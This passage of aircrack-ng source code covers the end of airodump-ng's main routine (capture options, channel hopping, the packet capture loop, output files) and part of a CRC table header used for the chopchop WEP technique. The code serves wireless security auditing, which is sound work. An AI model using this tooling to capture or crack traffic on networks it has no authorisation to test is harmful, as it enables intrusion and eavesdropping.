case 'e': G.one_beacon = 0; break; case 'a': G.asso_client = 1; break; case 'A': G.show_ack = 1; break; case 'h': G.hide_known = 1; break; case 'D': G.decloak = 0; break; case 'M': G.show_manufacturer = 1; break; case 'U' : G.show_uptime = 1; break; case 'W': G.show_wps = 1; break; case 'c' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } G.channel[0] = getchannels(optarg); if ( G.channel[0] < 0 ) goto usage; G.chanoption = 1; if( G.channel[0] == 0 ) { G.channels = G.own_channels; break; } G.channels = bg_chans; break; case 'C' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } if (G.freqoption == 1) { printf( "Notice: Frequency range already given\n" ); break; } G.freqstring = optarg; G.freqoption = 1; break; case 'b' : if (G.chanoption == 1 && option != 'c') { printf( "Notice: Channel range already given\n" ); break; } freq[0] = freq[1] = 0; for (i = 0; i < (int)strlen(optarg); i++) { if ( optarg[i] == 'a' ) freq[1] = 1; else if ( optarg[i] == 'b' || optarg[i] == 'g') freq[0] = 1; else { printf( "Error: invalid band (%c)\n", optarg[i] ); printf("\"%s --help\" for help.\n", argv[0]); exit ( 1 ); } } if (freq[1] + freq[0] == 2 ) G.channels = abg_chans; else { if ( freq[1] == 1 ) G.channels = a_chans; else G.channels = bg_chans; } break; case 'i': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; break; case 'g': G.usegpsd = 1; /* if (inet_aton(optarg, &provis_addr.sin_addr) == 0 ) { printf("Invalid IP address.\n"); return (1); } */ break; case 'w': if (G.dump_prefix != NULL) { printf( "Notice: dump prefix already given\n" ); break; } /* Write prefix */ G.dump_prefix = optarg; G.record_data = 1; break; case 'r' : if( G.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } G.s_file = optarg; break; case 's': if (atoi(optarg) > 2) { goto usage; } if (G.chswitch != 0) { printf("Notice: switching method already given\n"); break; } G.chswitch = atoi(optarg); break; case 'u': G.update_s = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.update_s <= 0) G.update_s = REFRESH_RATE; break; case 'f': G.hopfreq = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.hopfreq <= 0) G.hopfreq = DEFAULT_HOPFREQ; break; case 'B': G.is_berlin = 1; G.berlin = atoi(optarg); if (G.berlin <= 0) G.berlin = 120; break; case 'm': if ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { printf("Notice: netmask already given\n"); break; } if(getmac(optarg, 1, G.f_netmask) != 0) { printf("Notice: invalid netmask\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd': if ( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); break; } if(getmac(optarg, 1, G.f_bssid) != 0) { printf("Notice: invalid bssid\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'N': G.f_essid_count++; G.f_essid = (char**)realloc(G.f_essid, G.f_essid_count * sizeof(char*)); G.f_essid[G.f_essid_count-1] = optarg; break; case 'R': #ifdef HAVE_PCRE if (G.f_essid_regex != NULL) { printf("Error: ESSID regular expression already given. Aborting\n"); exit(1); } G.f_essid_regex = pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL); if (G.f_essid_regex == NULL) { printf("Error: regular expression compilation failed at offset %d: %s; aborting\n", pcreerroffset, pcreerror); exit(1); } #else printf("Error: Airodump-ng wasn't compiled with pcre support; aborting\n"); #endif break; case 't': set_encryption_filter(optarg); break; case 'o': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } // Parse the value output_format_string = strtok(optarg, ","); while (output_format_string != NULL) { if (strlen(output_format_string) != 0) { if (strncasecmp(output_format_string, "csv", 3) == 0 || strncasecmp(output_format_string, "txt", 3) == 0) { G.output_format_csv = 1; } else if (strncasecmp(output_format_string, "pcap", 4) == 0 || strncasecmp(output_format_string, "cap", 3) == 0) { if (ivs_only) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } G.output_format_pcap = 1; } else if (strncasecmp(output_format_string, "ivs", 3) == 0) { if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; } else if (strncasecmp(output_format_string, "kismet", 6) == 0) { G.output_format_kismet_csv = 1; } else if (strncasecmp(output_format_string, "gps", 3) == 0) { G.usegpsd = 1; } else if (strncasecmp(output_format_string, "netxml", 6) == 0 || strncasecmp(output_format_string, "newcore", 7) == 0 || strncasecmp(output_format_string, "kismet-nc", 9) == 0 || strncasecmp(output_format_string, "kismet_nc", 9) == 0 || strncasecmp(output_format_string, "kismet-newcore", 14) == 0 || strncasecmp(output_format_string, "kismet_newcore", 14) == 0) { G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "default", 6) == 0) { G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "none", 6) == 0) { G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; G.usegpsd = 0; ivs_only = 0; } else { // Display an error if it does not match any value fprintf(stderr, "Invalid output format: <%s>\n", output_format_string); exit(1); } } output_format_string = strtok(NULL, ","); } break; case 'H': printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'x': G.active_scan_sim = atoi(optarg); if (G.active_scan_sim <= 0) G.active_scan_sim = 0; break; default : goto usage; } } while ( 1 ); if( argc - optind != 1 && G.s_file == NULL) { if(argc == 1) { usage: printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( argc - optind == 1 ) G.s_iface = argv[argc-1]; if( ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(G.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if (G.show_wps && G.show_manufacturer) G.maxsize_essid_seen += G.maxsize_wps_seen; if(G.s_iface != NULL) { /* initialize cards */ G.num_cards = init_cards(G.s_iface, iface, wi); if(G.num_cards <= 0) return( 1 ); for (i = 0; i < G.num_cards; i++) { fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; } if(G.freqoption == 1 && G.freqstring != NULL) // use frequencies { detect_frequencies(wi[0]); G.frequency[0] = getfrequencies(G.freqstring); if(G.frequency[0] == -1) { printf("No valid frequency given.\n"); return(1); } // printf("gonna rearrange\n"); rearrange_frequencies(); // printf("finished rearranging\n"); freq_count = getfreqcount(0); /* find the interface index */ /* start a child to hop between frequencies */ if( G.frequency[0] == 0 ) { unused = pipe( G.ch_pipe ); unused = pipe( G.cd_pipe ); signal( SIGUSR1, sighandler ); if( ! fork() ) { /* reopen cards. This way parent & child don't share resources for * accessing the card (e.g. file descriptors) which may cause * problems. -sorbo */ for (i = 0; i < G.num_cards; i++) { strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); exit(1); } } /* Drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } frequency_hopper(wi, G.num_cards, freq_count, main_pid); exit( 1 ); } } else { for( i=0; i MIN_RAM_SIZE_LOAD_OUI_RAM) { G.manufList = load_oui_file(); } /* start the GPS tracker */ if (G.usegpsd) { unused = pipe( G.gc_pipe ); signal( SIGUSR2, sighandler ); if( ! fork() ) { gps_tracker(main_pid); exit( 1 ); } usleep( 50000 ); waitpid( -1, NULL, WNOHANG ); } fprintf( stderr, "\33[?25l\33[2J\n" ); start_time = time( NULL ); tt1 = time( NULL ); tt2 = time( NULL ); tt3 = time( NULL ); gettimeofday( &tv3, NULL ); gettimeofday( &tv4, NULL ); G.batt = getBatteryString(); G.elapsed_time = (char *) calloc( 1, 4 ); if(G.elapsed_time == NULL) { perror( "Error allocating memory" ); return 1; } strncpy(G.elapsed_time, "0 s", 4 - 1); G.elapsed_time[strlen(G.elapsed_time)] = 0; /* Create start time string for kismet netxml file */ G.airodump_start_time = (char *) calloc( 1, 1000 * sizeof(char) ); strncpy(G.airodump_start_time, ctime( & start_time ), 1000 - 1); G.airodump_start_time[strlen(G.airodump_start_time) - 1] = 0; // remove new line G.airodump_start_time = (char *) realloc( G.airodump_start_time, sizeof(char) * (strlen(G.airodump_start_time) + 1) ); if( pthread_create( &(G.input_tid), NULL, (void *) input_thread, NULL ) != 0 ) { perror( "pthread_create failed" ); return 1; } while( 1 ) { if( G.do_exit ) { break; } if( time( NULL ) - tt1 >= G.file_write_interval ) { /* update the text output files */ tt1 = time( NULL ); if (G. output_format_csv) dump_write_csv(); if (G.output_format_kismet_csv) dump_write_kismet_csv(); if (G.output_format_kismet_netxml) dump_write_kismet_netxml(); } if( time( NULL ) - tt2 > 5 ) { if( G.sort_by != SORT_BY_NOTHING) { /* sort the APs by power */ pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } /* update the battery state */ free(G.batt); G.batt = NULL; tt2 = time( NULL ); G.batt = getBatteryString(); /* update elapsed time */ free(G.elapsed_time); G.elapsed_time=NULL; G.elapsed_time = getStringTimeFromSec( difftime(tt2, start_time) ); /* flush the output files */ if( G.f_cap != NULL ) fflush( G.f_cap ); if( G.f_ivs != NULL ) fflush( G.f_ivs ); } gettimeofday( &tv1, NULL ); cycle_time = 1000000UL * ( tv1.tv_sec - tv3.tv_sec ) + ( tv1.tv_usec - tv3.tv_usec ); cycle_time2 = 1000000UL * ( tv1.tv_sec - tv4.tv_sec ) + ( tv1.tv_usec - tv4.tv_usec ); if( G.active_scan_sim > 0 && cycle_time2 > G.active_scan_sim*1000 ) { gettimeofday( &tv4, NULL ); send_probe_requests(wi, G.num_cards); } if( cycle_time > 500000 ) { gettimeofday( &tv3, NULL ); update_rx_quality( ); if(G.s_iface != NULL) { check_monitor(wi, fd_raw, &fdh, G.num_cards); if(G.singlechan) check_channel(wi, G.num_cards); if(G.singlefreq) check_frequency(wi, G.num_cards); } } if(G.s_file != NULL) { /* Read one packet */ n = sizeof( pkh ); if( fread( &pkh, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = caplen = pkh.caplen; memset(buffer, 0, sizeof(buffer)); h80211 = buffer; if( n <= 0 || n > (int) sizeof( buffer ) ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( fread( h80211, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } read_pkts++; if(read_pkts%10 == 0) usleep(1); } else if(G.s_iface != NULL) { /* capture one packet */ FD_ZERO( &rfds ); for(i=0; i REFRESH_RATE && time_slept > G.update_s * 1000000) { time_slept = 0; update_dataps(); /* update the window size */ if( ioctl( 0, TIOCGWINSZ, &(G.ws) ) < 0 ) { G.ws.ws_row = 50; G.ws.ws_col = 120; } if( G.ws.ws_col < 1 ) G.ws.ws_col = 1; if( G.ws.ws_col > 300 ) G.ws.ws_col = 300; /* display the list of access points we have */ if(!G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush( stdout ); pthread_mutex_unlock( &(G.mx_print) ); } continue; } if(G.s_file == NULL && G.s_iface != NULL) { fd_is_set = 0; for(i=0; i 1) { G.do_exit = 1; break; } memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ interface %s down ", wi_get_ifname(wi[i])); //reopen in monitor mode strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); /* Restore terminal */ fprintf( stderr, "\33[?25h" ); fflush( stdout ); exit(1); } fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; break; // return 1; } read_pkts++; wi_read_failed = 0; dump_add_packet( h80211, caplen, &ri, i ); } } } else if (G.s_file != NULL) { dump_add_packet( h80211, caplen, &ri, i ); } } if(G.batt) free(G.batt); if(G.elapsed_time) free(G.elapsed_time); if(G.own_channels) free(G.own_channels); if(G.f_essid) free(G.f_essid); if(G.prefix) free(G.prefix); if(G.f_cap_name) free(G.f_cap_name); if(G.keyout) free(G.keyout); #ifdef HAVE_PCRE if(G.f_essid_regex) pcre_free(G.f_essid_regex); #endif for(i=0; iuiv_root ); list_tail_free(&(ap_cur->packets)); if (G.manufList) free(ap_cur->manuf); if (G.detect_anomaly) data_wipe(ap_cur->data_root); ap_prv = ap_cur; ap_cur = ap_cur->next; } ap_cur = G.ap_1st; while( ap_cur != NULL ) { // Freeing AP List ap_next = ap_cur->next; if( ap_cur != NULL ) free(ap_cur); ap_cur = ap_next; } st_cur = G.st_1st; st_next= NULL; while(st_cur != NULL) { st_next = st_cur->next; if (G.manufList) free(st_cur->manuf); free(st_cur); st_cur = st_next; } na_cur = G.na_1st; na_next= NULL; while(na_cur != NULL) { na_next = na_cur->next; free(na_cur); na_cur = na_next; } if (G.manufList) { oui_cur = G.manufList; while (oui_cur != NULL) { oui_next = oui_cur->next; free(oui_cur); oui_cur = oui_next; } } fprintf( stderr, "\33[?25h" ); fflush( stdout ); return( 0 ); } aircrack-ng-1.2-rc4/src/crctable.h0000644000000000000000000002343510761053203015444 0ustar rootroot#ifndef _CRCTABLE_H #define _CRCTABLE_H const unsigned long int crc_tbl[256] = { 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D }; const unsigned char crc_chop_tbl[256][4] = { { 0x26,0x70,0x6A,0x0F }, { 0x67,0x76,0x1B,0xD4 }, { 0xE5,0x7A,0xF9,0x62 }, { 0xA4,0x7C,0x88,0xB9 }, { 0xA0,0x65,0x4C,0xD4 }, { 0xE1,0x63,0x3D,0x0F }, { 0x63,0x6F,0xDF,0xB9 }, { 0x22,0x69,0xAE,0x62 }, { 0x6B,0x5D,0x57,0x62 }, { 0x2A,0x5B,0x26,0xB9 }, { 0xA8,0x57,0xC4,0x0F }, { 0xE9,0x51,0xB5,0xD4 }, { 0xED,0x48,0x71,0xB9 }, { 0xAC,0x4E,0x00,0x62 }, { 0x2E,0x42,0xE2,0xD4 }, { 0x6F,0x44,0x93,0x0F }, { 0xBC,0x2A,0x10,0xD5 }, { 0xFD,0x2C,0x61,0x0E }, { 0x7F,0x20,0x83,0xB8 }, { 0x3E,0x26,0xF2,0x63 }, { 0x3A,0x3F,0x36,0x0E }, { 0x7B,0x39,0x47,0xD5 }, { 0xF9,0x35,0xA5,0x63 }, { 0xB8,0x33,0xD4,0xB8 }, { 0xF1,0x07,0x2D,0xB8 }, { 0xB0,0x01,0x5C,0x63 }, { 0x32,0x0D,0xBE,0xD5 }, { 0x73,0x0B,0xCF,0x0E }, { 0x77,0x12,0x0B,0x63 }, { 0x36,0x14,0x7A,0xB8 }, { 0xB4,0x18,0x98,0x0E }, { 0xF5,0x1E,0xE9,0xD5 }, { 0x53,0xC3,0xEF,0x60 }, { 0x12,0xC5,0x9E,0xBB }, { 0x90,0xC9,0x7C,0x0D }, { 0xD1,0xCF,0x0D,0xD6 }, { 0xD5,0xD6,0xC9,0xBB }, { 0x94,0xD0,0xB8,0x60 }, { 0x16,0xDC,0x5A,0xD6 }, { 0x57,0xDA,0x2B,0x0D }, { 0x1E,0xEE,0xD2,0x0D }, { 0x5F,0xE8,0xA3,0xD6 }, { 0xDD,0xE4,0x41,0x60 }, { 0x9C,0xE2,0x30,0xBB }, { 0x98,0xFB,0xF4,0xD6 }, { 0xD9,0xFD,0x85,0x0D }, { 0x5B,0xF1,0x67,0xBB }, { 0x1A,0xF7,0x16,0x60 }, { 0xC9,0x99,0x95,0xBA }, { 0x88,0x9F,0xE4,0x61 }, { 0x0A,0x93,0x06,0xD7 }, { 0x4B,0x95,0x77,0x0C }, { 0x4F,0x8C,0xB3,0x61 }, { 0x0E,0x8A,0xC2,0xBA }, { 0x8C,0x86,0x20,0x0C }, { 0xCD,0x80,0x51,0xD7 }, { 0x84,0xB4,0xA8,0xD7 }, { 0xC5,0xB2,0xD9,0x0C }, { 0x47,0xBE,0x3B,0xBA }, { 0x06,0xB8,0x4A,0x61 }, { 0x02,0xA1,0x8E,0x0C }, { 0x43,0xA7,0xFF,0xD7 }, { 0xC1,0xAB,0x1D,0x61 }, { 0x80,0xAD,0x6C,0xBA }, { 0xCC,0x16,0x61,0xD0 }, { 0x8D,0x10,0x10,0x0B }, { 0x0F,0x1C,0xF2,0xBD }, { 0x4E,0x1A,0x83,0x66 }, { 0x4A,0x03,0x47,0x0B }, { 0x0B,0x05,0x36,0xD0 }, { 0x89,0x09,0xD4,0x66 }, { 0xC8,0x0F,0xA5,0xBD }, { 0x81,0x3B,0x5C,0xBD }, { 0xC0,0x3D,0x2D,0x66 }, { 0x42,0x31,0xCF,0xD0 }, { 0x03,0x37,0xBE,0x0B }, { 0x07,0x2E,0x7A,0x66 }, { 0x46,0x28,0x0B,0xBD }, { 0xC4,0x24,0xE9,0x0B }, { 0x85,0x22,0x98,0xD0 }, { 0x56,0x4C,0x1B,0x0A }, { 0x17,0x4A,0x6A,0xD1 }, { 0x95,0x46,0x88,0x67 }, { 0xD4,0x40,0xF9,0xBC }, { 0xD0,0x59,0x3D,0xD1 }, { 0x91,0x5F,0x4C,0x0A }, { 0x13,0x53,0xAE,0xBC }, { 0x52,0x55,0xDF,0x67 }, { 0x1B,0x61,0x26,0x67 }, { 0x5A,0x67,0x57,0xBC }, { 0xD8,0x6B,0xB5,0x0A }, { 0x99,0x6D,0xC4,0xD1 }, { 0x9D,0x74,0x00,0xBC }, { 0xDC,0x72,0x71,0x67 }, { 0x5E,0x7E,0x93,0xD1 }, { 0x1F,0x78,0xE2,0x0A }, { 0xB9,0xA5,0xE4,0xBF }, { 0xF8,0xA3,0x95,0x64 }, { 0x7A,0xAF,0x77,0xD2 }, { 0x3B,0xA9,0x06,0x09 }, { 0x3F,0xB0,0xC2,0x64 }, { 0x7E,0xB6,0xB3,0xBF }, { 0xFC,0xBA,0x51,0x09 }, { 0xBD,0xBC,0x20,0xD2 }, { 0xF4,0x88,0xD9,0xD2 }, { 0xB5,0x8E,0xA8,0x09 }, { 0x37,0x82,0x4A,0xBF }, { 0x76,0x84,0x3B,0x64 }, { 0x72,0x9D,0xFF,0x09 }, { 0x33,0x9B,0x8E,0xD2 }, { 0xB1,0x97,0x6C,0x64 }, { 0xF0,0x91,0x1D,0xBF }, { 0x23,0xFF,0x9E,0x65 }, { 0x62,0xF9,0xEF,0xBE }, { 0xE0,0xF5,0x0D,0x08 }, { 0xA1,0xF3,0x7C,0xD3 }, { 0xA5,0xEA,0xB8,0xBE }, { 0xE4,0xEC,0xC9,0x65 }, { 0x66,0xE0,0x2B,0xD3 }, { 0x27,0xE6,0x5A,0x08 }, { 0x6E,0xD2,0xA3,0x08 }, { 0x2F,0xD4,0xD2,0xD3 }, { 0xAD,0xD8,0x30,0x65 }, { 0xEC,0xDE,0x41,0xBE }, { 0xE8,0xC7,0x85,0xD3 }, { 0xA9,0xC1,0xF4,0x08 }, { 0x2B,0xCD,0x16,0xBE }, { 0x6A,0xCB,0x67,0x65 }, { 0xB3,0xBB,0x0D,0x6A }, { 0xF2,0xBD,0x7C,0xB1 }, { 0x70,0xB1,0x9E,0x07 }, { 0x31,0xB7,0xEF,0xDC }, { 0x35,0xAE,0x2B,0xB1 }, { 0x74,0xA8,0x5A,0x6A }, { 0xF6,0xA4,0xB8,0xDC }, { 0xB7,0xA2,0xC9,0x07 }, { 0xFE,0x96,0x30,0x07 }, { 0xBF,0x90,0x41,0xDC }, { 0x3D,0x9C,0xA3,0x6A }, { 0x7C,0x9A,0xD2,0xB1 }, { 0x78,0x83,0x16,0xDC }, { 0x39,0x85,0x67,0x07 }, { 0xBB,0x89,0x85,0xB1 }, { 0xFA,0x8F,0xF4,0x6A }, { 0x29,0xE1,0x77,0xB0 }, { 0x68,0xE7,0x06,0x6B }, { 0xEA,0xEB,0xE4,0xDD }, { 0xAB,0xED,0x95,0x06 }, { 0xAF,0xF4,0x51,0x6B }, { 0xEE,0xF2,0x20,0xB0 }, { 0x6C,0xFE,0xC2,0x06 }, { 0x2D,0xF8,0xB3,0xDD }, { 0x64,0xCC,0x4A,0xDD }, { 0x25,0xCA,0x3B,0x06 }, { 0xA7,0xC6,0xD9,0xB0 }, { 0xE6,0xC0,0xA8,0x6B }, { 0xE2,0xD9,0x6C,0x06 }, { 0xA3,0xDF,0x1D,0xDD }, { 0x21,0xD3,0xFF,0x6B }, { 0x60,0xD5,0x8E,0xB0 }, { 0xC6,0x08,0x88,0x05 }, { 0x87,0x0E,0xF9,0xDE }, { 0x05,0x02,0x1B,0x68 }, { 0x44,0x04,0x6A,0xB3 }, { 0x40,0x1D,0xAE,0xDE }, { 0x01,0x1B,0xDF,0x05 }, { 0x83,0x17,0x3D,0xB3 }, { 0xC2,0x11,0x4C,0x68 }, { 0x8B,0x25,0xB5,0x68 }, { 0xCA,0x23,0xC4,0xB3 }, { 0x48,0x2F,0x26,0x05 }, { 0x09,0x29,0x57,0xDE }, { 0x0D,0x30,0x93,0xB3 }, { 0x4C,0x36,0xE2,0x68 }, { 0xCE,0x3A,0x00,0xDE }, { 0x8F,0x3C,0x71,0x05 }, { 0x5C,0x52,0xF2,0xDF }, { 0x1D,0x54,0x83,0x04 }, { 0x9F,0x58,0x61,0xB2 }, { 0xDE,0x5E,0x10,0x69 }, { 0xDA,0x47,0xD4,0x04 }, { 0x9B,0x41,0xA5,0xDF }, { 0x19,0x4D,0x47,0x69 }, { 0x58,0x4B,0x36,0xB2 }, { 0x11,0x7F,0xCF,0xB2 }, { 0x50,0x79,0xBE,0x69 }, { 0xD2,0x75,0x5C,0xDF }, { 